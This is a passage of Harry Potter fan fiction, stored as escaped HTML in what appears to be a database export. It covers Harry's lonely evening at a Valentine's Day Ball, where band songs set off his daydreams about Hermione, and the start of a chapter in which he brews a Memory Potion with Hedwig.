Rachel at his left. Then sat Dean and his date Parvati. To Parvati&#8217;s left was Lavender who sat next to her date, Seamus. There was an empty chair between Seamus and Ernie, who sat next to Hermione, on Harry&#8217;s right.</p>\n\n<p>Harry shifted uncomfortably in his chair and sighed dejectedly; he was the only one at the table without a date and he never felt so alone in his life. He wished that Hedwig hadn&#8217;t flown away.</p>\n\n<p>The Great Hall gradually filled with students and soon everyone was seated and there was hardly an empty seat at tables (Harry stared at the empty one between Ernie and Seamus). When it looked that everyone that was attending were seated, Dumbledore stood at the foot of the stage where the witches and wizards where setting up instruments and held out both arms. The Hall fell to a silence as everyone looked at him.</p>\n\n<p>&#8220;Welcome, welcome,&#8221; said Dumbledore, looking thoroughly up and down at the students, a calm and innocent look on his face. &#8220;Welcome to the Valentines Day Ball.&#8221;</p>\n\n<p>Dumbledore went into his usual speech of behaving themselves and told everyone to just have a good time. He turned ninety degrees and put an arm out introductionately.</p>\n\n<p>&#8220;I, and I&#8217;m sure most of you, am honored to have <i>Wizandwitch </i>as guests to play songs for us tonight,&#8221; he said, motioning behind him. There was an excited stir of murmurs and whispers from among the students.</p>\n\n<p>&#8220;Who are they?&#8221; said Harry absently.</p>\n\n<p>&#8220;They&#8217;re a new wizarding band,&#8221; said Hermione, matter-of-factly. &#8220;They&#8217;re becoming famous for bringing Muggle music to the Wizarding world.&#8221;</p>\n\n<p>Dumbledore silenced the students and continued.</p>\n\n<p>&#8220;May all of you have a wonderful and lovely Valentines Day,&#8221; concluded Dumbledore. &#8220;And now&#8230; let the Ball begin!&#8221;</p>\n\n<p>The tops of the tables (once empty) suddenly was filled with plates, forks, knives, spoons, and napkins. Harry gazed fixated on what was on top of his fairly large plate; it had all kinds of his favorites feasting foods. He glanced at everyone else&#8217;s plates and noticed that they didn&#8217;t contain the same food as was on his plate, in fact, every person had a plate of food unique to them. Everyone at their table was looking at each others plates, just as astonished as Harry was.</p>\n\n<p>&#8220;This is my favorites!&#8221; he heard Dean say and he began digging into his food. </p>\n\n<p>&#8220;This is <i>my favorite!</i>&#8221; Parvati said next to him. There were nods of agreement round the table. Evidently, the plates knew exactly what kind of foods the person sitting in front of them liked. </p>\n\n<p>Soon after, everyone dug into their foods. Harry absently looked up and one of the wizards in the elegant robes who was setting up instruments stood at the edge of the stage. He was wearing deep sky blue dress robes.</p>\n\n<p>&#8220;I hope you all are having a pleasant evening,&#8221; he said, his voice echoing the Hall magically as if he were talking into an invisible microphone in front of him. He glanced the Hall and most of the students were now half looking at him and half eating their food.</p>\n\n<p>&#8220;He&#8217;s cute,&#8221; Harry heard Hermione say.</p>\n\n<p>&#8220;Yes he is!&#8221; said Rachel in agreement. Ron snorted, choking on some food.</p>\n\n<p>&#8220;My name is Ando Barras and I am one of the members of Wizandwitch,&#8221; he said. He looked to at the two witches to his right. &#8220;That there is Mai Dellers -&#8221; he motioned to the witch in champagne colored dress robes, &#8220; -and that lovely young lady there is Malia Gorin,&#8221; he motioned to the witch in pink dress robes. He looked in the direction to his right to wizard and another witch. &#8220;That&#8217;s Juss Sane -&#8221; he motioned to the wizard in black dress robes, &#8220;- and that is Nelora Raines,&#8221; he motioned to the witch in a cream dress robe. &#8220;And we are <i>Wizandwitch</i>!&#8221; There was a polite and enthusiastic applause. </p>\n\n<p>&#8220;You headmaster, Albus Dumbledore,&#8221; continued Ando, &#8220;invited us to play for all of you when it would be time for dancing. But for now, we will keep you all entertained by playing a few songs here and there while all of you lovely witches and wizards dine. I&#8217;m sure you won&#8217;t mind?&#8221; Once again there were enthusiastic and excited cheers.</p>\n\n<p>&#8220;So I call upon Malia to sing the first song!&#8221; </p>\n\n<p>Ando walked away from the edge of the stage and sat on a stool an held a guitar in position to play. Mai was playing what looked like a wizarding keyboard, Justen was behind a magical set of drums and other percussion looking instruments, and Nelora looked to be playing some sort of bass instrument.</p>\n\n<p>There was some sort of magical spotlight on Malia now just when Mai started to play a piano introduction. It was gentle, calm, and almost in a dreamlike way. Malia started to sing, her voice sweet, soothing, and serenading. </p>\n\n<b><i><p>&#8220;Late at night when all the world, is sleeping,</p>\n\n<p>I say up and think of you.</p>\n\n<p>And I wish on a star, that somewhere you are, thinking,</p>\n\n<p>Of me too&#8230;&#8221;</p>\n\n</i></b><p>Harry&#8217;s ears twitched to the song. He ate at his food and listened secretly to the words, suddenly interested in the lyrics.</p>\n\n<i>\n\n<b><p>&#8220;Cause I&#8217;m dreaming, of you tonight,</p>\n\n<p>Till tomorrow, I&#8217;ll be holding you tight.</p>\n\n<p>And there&#8217;s no where in, the world, I&#8217;d rather be.</p>\n\n<p>Than here in my room, dreaming about, you and me.&#8221;</p>\n\n</b></i><p>Harry crewed absently on his food and glanced swiftly at Hermione; she was engaged in conversation with Ernie.</p>\n\n<b><i><p>&#8220;Wonder if you ever see, me, and I,</p>\n\n<p>Wonder if you know I\'m there.</p>\n\n<p>If you looked in my eyes,</p>\n\n<p>Would you see what\'s inside, would you, even care?&#8221;</p>\n\n</i></b><i>\n\n</i><p>Harry continued to steal glances at Hermione when he felt no one was looking. The song and lyrics had a very powerful force on Harry. His mind raced with images. Back when Harry&#8217;s love had first blossomed for Hermione, he wondered if she ever saw him as more than a friend at any point in her life. He also wondered if she could tell (because of his hints of love toward her) that he was there, right in front of her face, loving her. If she did look into his eyes, which was a gateway to his soul, would she see his love for her? And how would she feel about it&#8230; really? </p>\n\n<p>He had an image of he and Hermione standing somewhere outside by the lake. Hermione looked flustered, as if she wanted to get away but he was grasping her wrists tightly, holding her close to his chest and staring deep into her eyes as if forcing her to look at him&#8230; to read him&#8230;</p>\n\n<i>\n\n<b><p>&#8220;I just wanna hold you close, but so far,</p>\n\n<p>All I have are dreams of you.</p>\n\n<p>So I wait for the day, And the courage to say, how much,</p>\n\n<p>I love you.&#8221;</p>\n\n</b>\n\n</i><p>Harry ate his food, his mind wondering. It was as if the lyrics of the song were triggering something in his head. Harry&#8217;s image of he and Hermione at the lake changed quickly into the Great Hall, Harry standing at the entrance and peering inside. He was watching Hermione giggle at something Ernie had said at one of the tables. Harry swallowed the food in his mouth.</p>\n\n<i>\n\n<b><p>&#8220;I\'ll be dreaming of you tonight,</p>\n\n<p>Till tomorrow, I\'ll be holding you tight.</p>\n\n<p>And there\'s nowhere in, the world, I\'d rather be,</p>\n\n<p>Than here in my room dreaming about you and me.&#8221;</p>\n\n</b>\n\n</i><p>Harry could feel his eyes water for a moment. He rubbed then from behind his glasses and fixed them on his nose. Now he could see himself lying on his bed in the middle of the night, staring at the ceiling. His eyes were watering behind his glasses. The real Harry shook his head violently and grunted. He removed his glasses, shut his eyes, and pinched himself between them.</p>\n\n<i>\n\n<b><p>&#8220;Haa Ahh,&#8221;</p>\n\n</b>\n\n</i><p>&#8220;Harry?&#8221; he heard Hermione say.</p>\n\n<i>\n\n<b><p>&#8220;I can\'t stop dreaming of you&#8230;&#8221;</p>\n\n</b></i>\n\n<p>&#8220;Huh?&#8221; He had opened his eyes and looked at her blurry figure. He replaced his glasses.</p>\n\n<p>&#8220;Harry, what is it?&#8221; Hermione asked, looking alarmed. Harry hoped his face didn&#8217;t look to revealing.</p>\n\n<i>\n\n<b><p>&#8220;I can\'t stop dreaming&#8230;&#8221;</p>\n\n</b>\n\n</i><p>&#8220;Nothing,&#8221; he lied. &#8220;Just&#8230; rubbing my eyes.&#8221;</p>\n\n<p>&#8220;You look&#8230; disturbed - about something,&#8221; said Hermione uncertainly. She was leaning close to him now, one of her arms wrapped comfortably around him. Ron and the others were looking at him, wondering what was wrong with him.</p>\n\n<p>&#8220;Is it the food?&#8221; asked Ron, looking at his own and looking nervous, as if he were going to suffer the same way as Harry.</p>\n\n<p>&#8220;The food&#8217;s fine Ron,&#8221; assured Harry. He looked at Hermione. Their she was, twinkles in her eyes, cute as ever, even if she was worried about him.</p>\n\n<b><i><p>&#8220;I can\'t stop dreaming of you&#8230;&#8221;</p>\n\n</i></b>\n\n<p>&#8220;I&#8217;m fine Hermione,&#8221; said Harry, looking at her and then at the others to confirm. &#8220;I just have a light headache&#8230;&#8221; The song went into a light a cappella.</p>\n\n<b><i><p>&#8220;Late at night when all the world, is sleeping,</p>\n\n<p>I stay up and think of you.</p>\n\n<p>And I still can\'t believe, that you came up to me and said,</p>\n\n<p>I love you&#8230; I love you too.&#8221;</p>\n\n</i></b><i>\n\n</i><p>Harry stared at Hermione and wondered, when was <i>she </i>ever going to say that she loved him? Not as a friend, but more than that&#8230;</p>\n\n<p>&#8220;You should to go to the hospital wing,&#8221; said Hermione apprehensively.</p>\n\n<b><i><p>&#8220;Now I\'m dreaming, with you tonight,</p>\n\n<p>Till tomorrow, and for all my life.</p>\n\n<p>And there\'s nowhere in, the world, I\'d rather be,</p>\n\n</i></b></font><b><p><font size="2"><i>Than here in my room, dreaming with you, endlessly</i></font>.&#8221;</p>\n\n</b>\n\n<font size="2"><p>&#8220;It&#8217;s just a small one,&#8221; said Harry patiently. Another image of he and Hermione popped in his head. They were in his Head Boy Room, lying on his bed. Harry as on his back while Hermione was on her side snuggled against him. His arm was comfortably wrapped around Hermione, her head was on his shoulder and her right hand flat on his chest. They were sleeping&#8230; </p>\n\n<b><i><p>&#8220;Dreaming, with you tonight,</p>\n\n<p>Till tomorrow, I\'ll be holding you tight,</p>\n\n<p>And there\'s nowhere in, the world, I\'d rather be,</p>\n\n<p>Than here in my room, dreaming with you, endlessly.&#8221;</p>\n\n</i></b></font>\n\n<font size="2"><p>&#8220;Are you sure?&#8221; said Hermione, in the same tone she used when she was talking to him outside the Great Hall.</p>\n\n</font>\n\n<b><i><font size="2"><p>&#8220;Dreaming, of you tonight,</p>\n\n<p>Endlessly&#8230; I\'ll be holding you tight,</p>\n\n</font></i><font size="2"></font><p><font size="2"><i>Till tomorrow&#8230; Dreaming&#8230; with you, tonight</i></font>&#8230;&#8221;</p>\n\n</b>\n\n<font size="2"><p>&#8220;I&#8217;m sure,&#8221; said Harry, trying to regain his composure. The others at the table were looking at him still as if he were about to explode. The song had ended with the fading of instruments and as soon as the music stopped and the Great Hall erupted with applause, it was a though something had hit an &#8220;off&#8221; button in Harry&#8217;s head.</p>\n\n<p>He stared back at his plate, filled with about a third of food, and felt his face going red, trying to avoid any eyes. He had images of himself and Hermione, right in front of her. It wasn&#8217;t that she could read his mind or anything, but the song had somehow triggered something in his brain that made him think&#8230; about Hermione&#8230; and gave him, what looked like, graphical images of the lyrics in the song. None of the scenes he saw in his head happened, but they seemed and felt so real&#8230;</p>\n\n<p>Harry tried to eat to get himself occupied again, but found himself looking at the stage, the Hall still filled with applause.</p>\n\n<p>&#8220;Thank you,&#8221; said Malia blushingly, smiling. The applause didn&#8217;t stop though; she was receiving special whistles from some boys that were up front close to the stage. She backed away from the edge of the stage and the magical spotlight disappeared, making it impossible to see what was happening at the stage. </p>\n\n<p>&#8220;That was beautiful,&#8221; sighed Rachel dreamily. &#8220;It was beautiful, wasn&#8217;t it Ron?&#8221;</p>\n\n<p>&#8220;Huh?&#8221; said Ron, looking up on stage, trying like the rest of the boys in the Hall to get a glimpse at Malia. &#8220;What Rachel?&#8221;</p>\n\n<p>&#8220;Ronald!&#8221; she exclaimed, hitting him on the arm.</p>\n\n<p>Harry grinned while Hermione bent over him still, trying to console. Harry loved it; he would rather Hermione comfort him than to stare at a beautiful girl for hours, unless Hermione was the beautiful girl. There was about a five minute break in which Harry ate a few more bites of his meal, when suddenly the magical spotlight appeared onstage along with Malia, who was greeted with whistles.</p>\n\n<p>&#8220;I&#8217;m going to call upon Ando for the next song,&#8221; she said happily, smiling at the crowd.</p>\n\n<p>Ando stood up professionally and picked up his stool, putting it where Malia was standing and sitting on it, then placed his guitar on his knee. Malia took Ando&#8217;s preoccupied spot and with a wave of her wand, another keyboard that looked like Mai&#8217;s appeared in front of her.</p>\n\n<p>&#8220;This next song is dedicated to all you wizards out there who have a special place in his heart for that certain witch,&#8221; said Ando, the magical spotlight now on him, &#8220;maybe even the witch you accompanied here this evening.&#8221;</p>\n\n<p>Harry slumped slightly into his chair. Now they were going to play a song that was dedicated to a perfect description of him. There were some small and respectable murmurs as Ando started an intro with a guitar solo. </p>\n\n<b><i><p>&#8220;To really&#8230; love a woman,</p>\n\n<p>To understand her&#8230; you gotta know her deep inside,<br> Hear every thought&#8230; see every dream,<br> N\' give her wings when she wants to fly.<br> Then when you find yourself lying helpless, in her arms,<br> Ya know ya really love a woman.&#8221;</p>\n\n</i></b><p><i><br>\n\n</i>The lyrics scrambled through Harry&#8217;s head and clicked the &#8220;on&#8221; button. More images swam through his head. Did he really love Hermione? He saw Hermione looking disheveled when her dress was destroyed (though she didn&#8217;t admit it) because of him. Then the image changed to the end of the year, where Hermione was giving some sort of speech to a crowd because she had graduated with the highest marks in her class. Then suddenly, he saw himself back in Ashley&#8217;s shop, Lynda&#8217;s Wizard Anythings, handing over his Firebolt broomstick, his wings&#8230; so that he could get her dress&#8230;</p>\n\n<b><i></i></b></font><b><p><font size="2"><i>&#8220;When you love a woman, you tell her that she\'s really wanted.<br> When you love a woman, you tell her that she\'s the one.<br> Cuz she needs somebody, to tell her that it\'s gonna last forever.<br> So tell me have you ever really - really really ever loved a woman?&#8221;</i></font><br>\n\n</p>\n\n</b><font size="2"><p>&#8220;Nice song,&#8221; said Harry, not aware that he had said anything out loud.</p>\n\n<p>&#8220;It is isn&#8217;t it?&#8221; said Hermione dreamily. She was done eating and propping her chin in her hand, looking at the stage. </p>\n\n<p>&#8220;Ron, how come you never sing to me like that?&#8221; said Rachel, her voice in the same dreamy tone as Hermione. All the girls seemed to be transfixed on the edge of the stage.</p>\n\n<p>&#8220;Me? <i>Sing!?</i>&#8221; said Ron incredulously.</p>\n\n<b><i><p>&#8220;To really love a woman,</p>\n\n<p>Let her hold you - till ya know how she needs to be touched.</p>\n\n<p>You gotta breathe her - really taste her,<br> Till you can feel her, in your blood.<br> When you can see your unborn children, in her eyes.<br> Ya know ya really, love a woman.&#8221;<br>\n\n</p>\n\n</i></b><p>Harry now had an image of himself, his head in Hermione&#8217;s lap somewhere in the Gryffindor common room. Then he was hugging her tightly in his arms, blinded by her hair, and he inhaled deeply, breathing her in. Then he pulled his head back a little and placed his lips on hers, kissing her in a warm and passionate way, just as a little boy with brown unruly hair and a little girl with bushy black hair and green eyes were tugging at Hermione&#8217;s skirt and Harry&#8217;s pants going, &#8220;Mommy! Daddy!&#8221;</p>\n\n<p>Harry gave a lopsided grin and felt himself going red. Everyone was too busy listening to Ando to notice.</p>\n\n<b><i></i></b></font><b><p><font size="2"><i>&#8220;When you love a woman, you tell her that she\'s really wanted.<br> When you love a woman, you tell her that she\'s the one.<br> Cuz she needs somebody, to tell her that it\'s gonna last forever.<br> So tell me have you ever really - really really ever loved a woman</i></font>?&#8221;<br>\n\n</p>\n\n</b><font size="2"><p>Harry found himself somewhere outside by a rosebush outside the castle. He was kneeling in front of Hermione, who was looking flustered and nervous, and bearing a ring. &#8220;You&#8217;re all that I want,&#8221; he heard himself say. &#8220;You&#8217;re the one I love Hermione. And my love for you will last forever.&#8221;</p>\n\n<p>Harry felt himself going even more red than Ron&#8217;s hair. </p>\n\n</font><i>\n\n<b><font size="2"><p>&#8220;You got to give her some faith - hold her tight.<br> A little tenderness - gotta treat her right.<br> She will be there for you, takin\' good care of you.<br> Ya really gotta love your woman&#8230;&#8221;<br>\n\n</p>\n\n</font></b></i><p><font size="2">There was a break in the song, with Ando playing some sort of guitar solo. Harry discreetly glanced the table. Ron was kissing Rachel, Seamus was holding Lavender&#8217;s hand, Dean was hugging Parvati close to his body, and Ernie had just given Hermione a kiss on the cheek. Harry grimaced and felt as if a huge boulder fell into the pit of his stomach.</font></p><font size="2">\n\n<b><i><p>&#8220;And when you find yourself lying helpless, in her arms,<br> Ya know ya really looooooooooooooooove a woman&#8230;</p>\n\n</i></b><i>\n\n<b></b></i><b></b></font><b><p><font size="2"><i>&#8220;When you love a woman, you tell her that she\'s really wanted.<br> When you love a woman, you tell her that she\'s the one.<br> Cuz she needs somebody, to tell her that it\'s gonna last forever.<br> So tell me have you ever really - really really ever loved a woman</i></font>?&#8221;</p>\n\n</b><i><font size="2">\n\n</font></i><p><font size="2">Harry saw flashes of Hermione run in his head. He was taking her out on dates and giving her a bouquet of roses on Valentines Day. Colin Creevey was giving him a picture of Hermione. He was trading in his Firebolt for a dress.</font></p><font size="2">\n\n<i>\n\n<b></b></i><b></b></font><b><p><font size="2"><i>&#8220;Just tell me have you ever really - really really ever loved a woman</i></font>?&#8221;</p>\n\n</b><i><font size="2">\n\n</font></i><p><font size="2">Hermione had done something she had never done before and kissed him on the cheek in fourth year. This was the first time she had kissed him; what incidentally started this whole Harry falling in love&#8230;</font></p><font size="2">\n\n<b><i></i></b></font><b><p><font size="2"><i>&#8220;Just tell me have you ever really - really really ever loooooooooved&#8230; a woman</i></font>?&#8221;</p>\n\n</b><i>\n\n</i><font size="2"><p>&#8220;Yes I have,&#8221; said Harry, before he knew what he was saying.</p>\n\n<p>&#8220;What?&#8221; said Hermione, looking at him.</p>\n\n<p>&#8220;Nothing,&#8221; replied Harry quickly, turning a shade of pink.</p>\n\n<p>Ando finished the song with an ending guitar solo. There was a split second silence before the Hall again erupted with cheers and applause. Ando stood up along with the rest of the band and they all bowed. The Hall roared even louder. Harry felt the &#8220;off&#8221; button go in his head. He suddenly felt dizzy.</p>\n\n<p>&#8220;Now is the time you all have been waiting for,&#8221; said Ando when the cheers died down. &#8220;If you would like to head to the center of the room and onto the dance floor&#8230;&#8221; There were squeals from several girls already pulling their male partners, looking embarrassed and flustered, onto the dance floor. Two of the girls being Lavender and Parvati, dragging Seamus and Dean behind them.</p>\n\n<p>Ando laughed quietly to himself. &#8220;Looks like they got the picture.&#8221; He turned around and handed his guitar to Mai, who took it and moved the stool to where she was sitting and sat on it, propping the guitar on her knee. </p>\n\n<p>There was a quiet piano intro by Malia. The Great Hall&#8217;s light went dim, except for the magical spotlight on Ando. Harry, who was getting mysteriously dizzier by the second, put his head down on the table. </p>\n\n<b>\n\n<i><p>&#8220;Look into my eyes - you will see,<br> What you mean to me.<br> Search your heart - search your soul,<br> And when you find me there, you\'ll search no more.&#8221;</p>\n\n</i></b><i>\n\n</i><p>The familiar switch in his head was put into the &#8220;on&#8221; position and a similar image of he and Hermione standing somewhere outside by the lake. Harry was holding her close to him, clutching her robes by her waist as if pulling her into him. Hermione looked flustered, but this time, she was holding his upper arms, clutching his robes between her fingers and staring deep into his eyes&#8230;<i><br>\n\n</i></p><i>\n\n</i><p>&#8220;You ok Harry,&#8221; Harry heard Hermione say, shaking him gently. He lifted his head just enough to catch her eye; he knew that he couldn&#8217;t conceal the way he was actually feeling for much longer.</p>\n\n<p>&#8220;I&#8217;m still a bit dizzy,&#8221; said Harry, feeling the room twirl in violent circles. &#8220;But I&#8217;m ok.&#8221;</p>\n\n<p>&#8220;You ok mate,&#8221; said Ron, standing up with Rachel. They were heading to the dance floor.</p>\n\n<p>&#8220;Fine,&#8221; said Harry shortly, sitting up in his chair and trying not to sway. &#8220;Go and dance.&#8221;</p>\n\n<p>Ron and Rachel, thought reluctantly, headed to the dance floor like many of the students were doing.</p>\n\n<b>\n\n<i><p>&#8220;Don\'t tell me, it\'s not worth trying for.<br> You can\'t tell me, it\'s not worth dying for.<br> You know it\'s true,<br> Everything I do, I do it for you.&#8221;<br>\n\n</p>\n\n</i></b><p>&#8220;What are you waiting for?&#8221; said Harry looking at Hermione and Ernie.</p>\n\n<p>&#8220;You all right Harry?&#8221; said Ernie frowning. It was the first genuine feeling Harry felt all day from him. </p>\n\n<p>&#8220;You don&#8217;t look well.&#8221;</p>\n\n<p>&#8220;I&#8217;m just a bit dizzy,&#8221; said Harry automatically. &#8220;You two go and dance.&#8221;</p>\n\n<p>&#8220;But what about you?&#8221; said Hermione tentatively. </p>\n\n<p>&#8220;What about me?&#8221; answered Harry coolly. HE motioned toward the dance floor. &#8220;Go dance. Go.&#8221;</p>\n\n<p>&#8220;But you -&#8221;</p>\n\n<p>&#8220;Just go Hermione,&#8221; said Harry in a persuading way. &#8220;Ernie, drag her to the dance floor please.&#8221;</p>\n\n<b><i><p>&#8220;Look into my heart - you will find,<br> There nothin\' there to hide.<br> Take me as I am - take my life,<br> I would give it all, I would sacrifice.&#8221;</p>\n\n</i></b>\n\n<p>She looked like she didn&#8217;t want to leave Harry at all, but gave in and followed Ernie to the dance floor, leaving Harry alone at the table. He slammed his forehead on the surface., just as another image of him giving up his Firebolt swam in his mind.</p>\n\n<p>&#8220;What is wrong with me?&#8221; Harry said, staring into the table cloth. He ran what could possibly be wrong with him like a list in his head when he realized, that suddenly he didn&#8217;t feel dizzy anymore. He lifted his head and almost gasped in shock, a sinking and dreadful feeling coursing through his body.</p>\n\n<b><i><p>&#8220;Don\'t tell me it\'s not worth fightin\' for,<br> I can\'t help it, there\'s nothin\' I want more,<br> Ya know it\'s true,<br> Everything I do, I do it for you.&#8221;<br>\n\n</p>\n\n</i></b><p>Rachel and Hedwig were wrong: Every single student that attended the Valentines Day Ball was now on the dance floor, dancing with their partners. Harry was apparently the only one who had attended the Ball without a date. He was the only one sitting at a table, with the exception of a couple at the far end of the room, both occupied in conversation, the girl beaming at her date. Because of the lighting fixture, it looked impossible to see the tables from the dance floor. It was a good thing: Harry didn&#8217;t want a hundred pair of eyes looking at him at the table. He never felt so alone before.</p>\n\n<b><i><p>&#8220;There\'s no love - like your love,<br> And no other - could give more love.<br> There\'s nowhere - unless you\'re there<br> All the time - all the way,<br> Yeah!&#8221;<br>\n\n</p>\n\n</i></b><p>There was a break in the song with an instrumentals now.</p>\n\n<p>He looked at everyone at the dance floor and saw many of the girls, wrapping their arms comfortably around their date&#8217;s necks, all whom were holding them close; some were kissing. Harry saw Hermione and Ernie dancing at the edge of the dance floor and felt a tug at his heart, pouring with jealousy. He felt empty and also his eyes getting watery again.</p>\n\n<p>&#8220;What am I doing?&#8221; Harry whispered to himself as if someone were going to answer. &#8220;I don&#8217;t belong here.&#8221; </p>\n\n<p>Hesitating for a second, Harry got out of his seat and tiptoed unnoticeably to the Great Hall&#8217;s main entrance, moving swiftly through the tables and pass many chairs that were not pushed in. He opened the door, stepped halfway into the corridor, turned around to look at Hermione and how beautiful she looked, sighed miserably and closed the door softly behind him. He could still hear the music.</p>\n\n<p>Harry leaned against the Great door, resting the back of his head on it also, closing his eyes and letting out an audible and distressing breath. What was he thinking, going to a Valentines Day Ball dateless and expecting to have fun? Who was he kidding?</p>\n\n<b><i><p>&#8220;Oh, you can&#8217;t tell me, it\'s not worth tryin\' for.<br> I can\'t help me it, there\'s nothin\' I want more.<br> I would fight for you - I\'d lie for you.<br> Walk the wire for you - Yeah I\'d die for you.&#8221;</p>\n\n</i></b><p>An image of him cornering Hermione, blurred the insides of his eyelids. He was telling her that they should themselves give it a try, that he wanted this more than anything. Then an image of him running with all his might toward Hermione, jumping in front of her just as a beam of green light struck his chest&#8230;<i><br>\n\n</i></p><i>\n\n<b><p>&#8220;You know it\'s true,<br> Everything I do, ohh, I do it for you&#8230;&#8221;</p>\n\n</b></i><p>Harry paced slowly down the corridor and toward his Head Boy Room; the Valentines Day Ball was over for him. He laughed softly through his nose as he thought about the last few words of the song. He would give anything to make Hermione&#8217;s life a better one, even if it meant his own&#8230; </p>\n\n<p></p>\n\n</font><p></p>\n\n<i><font size="2"><p></p>\n\n</font></i><font size="2"><b><p>A/N: Credit to Selena and Brian Adams for &#8220;Dreaming of You&#8221; and &#8220;Have You Ever Really Loved a Woman&#8221; with &#8220;Everything I do&#8221;. </p>\n\n<p>I hope ot makes sense to everybody; I wrote the lyrics to whatever the singer was singing and the next paragraph or so that follows, is what&#8217;s happening at the same time the song is played. Hehehe hoped that made sense, and hope all of you like the chapter&#8230;</p>\n\n</b><i>\n\n<p></p>\n\n<p><br>\n\n</p>\n\n</i>\n\n<p></p></font>\n\n '),
	(169, 23, ' <b><font size="2"><p>Chapter 23 - Preparation</p>\n\n</font></b><font size="2">\n\n<p>Harry was leaning inside the door of his Head Boy Room with his palms pressed into his eyes, as if trying to think hard for a solution to a problem. He mind was walking mindlessly with no purpose though he wasn&#8217;t thinking. He looked up and found himself looking out of the window behind his desk. The night sky was clear and he could see the stars clearly, twinkling brightly.</p>\n\n<p>Harry sighed and walked over to his wardrobe, opened its swinging doors, and began to undress in silence. He put on his pajama bottoms and a hooded sweater and rolled up the sleeves. He had just put his green dress robes on the hanger when he heard a tapping noise at his window behind his desk, that cut the silence so severely, it made Harry jump. He glanced at the window, halfway between putting up his dress robes in the wardrobe, and saw Hedwig. He rushed over to let her in.</p>\n\n<p>&#8220;Hi Hedwig,&#8221; said Harry, still holding on to the hanger that held his dress robes. She flapped through the window and landed on his desk, glaring at him.</p>\n\n<p>&#8220;What are you doing back so early?&#8221; she asked curiously. &#8220;Is the Ball over?&#8221;</p>\n\n<p>&#8220;No,&#8221; said Harry shortly, crossing back to his wardrobe, storing his dress robes inside and closing the door. &#8220;But, it&#8217;s over for me,&#8221; he added in an unnatural nonchalant way. He sat down behind his desk, grabbed <i>Secrets of Potions: Made Easy </i>from his desk drawer, and turned to the page of the Memory Potion that interested him.</p>\n\n<p>&#8220;What happened Harry?&#8221; asked Hedwig consolingly, taking a few steps toward him on his desk.</p>\n\n<p>&#8220;Do I even need to say?&#8221; said Harry, and when there was a silence, he added, &#8220;It was terrible!&#8221;</p>\n\n<p>He told Hedwig about what had happened at the Valentines Day Ball, from admitting that he didn&#8217;t have a date to Ron, Hermione, Rachel, and Ernie, to everyone dancing on the dance floor but him, to his sneaky escape from the Great Hall, making sure to leave out the images that ran in his head.</p>\n\n<p>&#8220;Plus,&#8221; continued Harry, catching his breath, &#8220;you were wrong Hedwig, I was the <i>only </i>one to either to go to the Ball without a date, or to not have found one at the Ball.&#8221;</p>\n\n<p>Hedwig blinked and looked like she was trying to say something. </p>\n\n<p>&#8220;I&#8217;m not mad at you or anything,&#8221; said Harry, and he truly looked it, though his voice was low and disappointing. &#8220;But, I really do think that me going to the Ball was&#8230; just a waste of time.&#8221;</p>\n\n<p>He sadly turned a page, studying carefully the ingredients he would need for the difficult potion. He didn&#8217;t even know if he really wanted to do it anymore&#8230; if Hermione didn&#8217;t see the way that he felt about her, then what was a point in doing anything&#8230; showing Hermione he loved her was worthwhile&#8230;</p>\n\n<p>&#8220;Is there anything I can do?&#8221; asked Hedwig gently. She couldn&#8217;t really find anything to say to him, but she did <i>feel </i>sorry for him nonetheless. He had gone through pain and suffering simply to receive the love of another, and embarrassment at the Valentines Day Ball too&#8230;</p>\n\n<p>&#8220;You can help me get some ingredients for this Memory Potion I want to make,&#8221; said Harry pleadingly, looking up at Hedwig from <i>Secrets of Potions: Made Easy </i>and making way to pull a small cauldron out from his desk.</p>\n\n<p>And so they did; Harry went up and down the corridors (glumly listening to the echo&#8217;s of the music coming from the Great Hall) of the school to get ingredients for his potion, sometimes sneaking into Snape&#8217;s office to nick some items. Hedwig assisted Harry as much as she could and particularly became of help when a plant came up on the list that Harry was sure they were not going to find. She remembered a fresh batch of it growing right behind Hagrid&#8217;s cabin.</p>\n\n<p>&#8220;Thanks Hedwig,&#8221; said Harry as she flew into his open window with the plant in her beak. She thrust it unto the table, as if she were spitting out something sour from her mouth.</p>\n\n<p>&#8220;That stuff is <i>awful!</i>&#8221; she said disgustedly. &#8220;It tastes like rotten dragon dung!&#8221;</p>\n\n<p>Harry, who grinned, and wondered the circumstances and when Hedwig had ever had dragon dung in her mouth (<i>rotten </i>ones too to note) and started his potion.</p>\n\n<p>It seemed like hours on end that Harry worked on his potion, adding the necessary ingredients at the times when he needed to, stirring in the right direction (with big or little circles), and waiting exactly the right time to add the next ingredient. He worked so hard on the potion that he would have given Snape a run for his money. Why couldn&#8217;t he ever do this well on potions when he was in class? Hedwig watched thoughtfully as Harry worked in silence; however, he became distracted as he could still hear the faint music coming from the Great Hall that made him sick.</p>\n\n<p>&#8220;Why can&#8217;t they play that music any softer?&#8221; said Harry grumpily, as he added the plant that Hedwig had gotten for him.</p>\n\n<p>&#8220;You want me to go peek at whatever they&#8217;re doing down there?&#8221; asked Hedwig. As the last words came out of her mouth, she knew it was a bad thing to say.</p>\n\n<p>&#8220;Do whatever you want!&#8221; spat Harry, wiping a patch of sweat on his forehead. Brewing the potion gave his room an odd and humid feeling, making his take off his hooded sweater and forcing on a t-shirt instead. Hedwig didn&#8217;t move from her spot, understanding that Harry had every right to be upset right now.</p>\n\n<p>About two hours passed when Harry was finally done with his potion; it was an oddly white murky looking liquid. He felt revolted when he could still hear faint music coming from the Great Hall. That thing was <i>still </i>going on?</p>\n\n<p>&#8220;Ok,&#8221; said Harry to Hedwig, sighing with frustration, &#8220;it says don&#8217;t add a bit of yourself until you are sure you want to start the countdown.&#8221;</p>\n\n<p>&#8220;Countdown?&#8221; asked Hedwig, frowning. &#8220;A <i>bit of yourself?</i>&#8221;</p>\n\n<p>Harry reread a passage from <i>Secrets of Potions: Made Easy.</i></p><i>\n\n</i>\n\n<p>&#8220;It says that the countdown will start immediately when you put a piece of yourself, like some of the hairs on my head, into the potion,&#8221; explained Harry, paraphrasing what he just read. &#8220;If you wait for one minute, the memory dating back will be equivalent to that of about one day.&#8221;</p>\n\n<p>&#8220;Well, go on then,&#8221; persuaded Hedwig, motioning him to test it. &#8220;Put just a small bit of that into a smaller goblet, so you don&#8217;t have to waste the rest.&#8221;</p>\n\n<p>&#8220;Good one,&#8221; said Harry, rummaging through his desk to pull out a small goblet. He picked up the small cauldron and carefully poured about half a cup of the murky liquid into a smaller goblet. He set the cauldron down and pulled a strand of hair from his head, adding it to the liquid in the goblet; it turned a familiar orange color.</p>\n\n<p>&#8220;Harry, NO!&#8221;</p>\n\n<p>About ten seconds later and without considering the possible dangers of ingesting something for the first time, 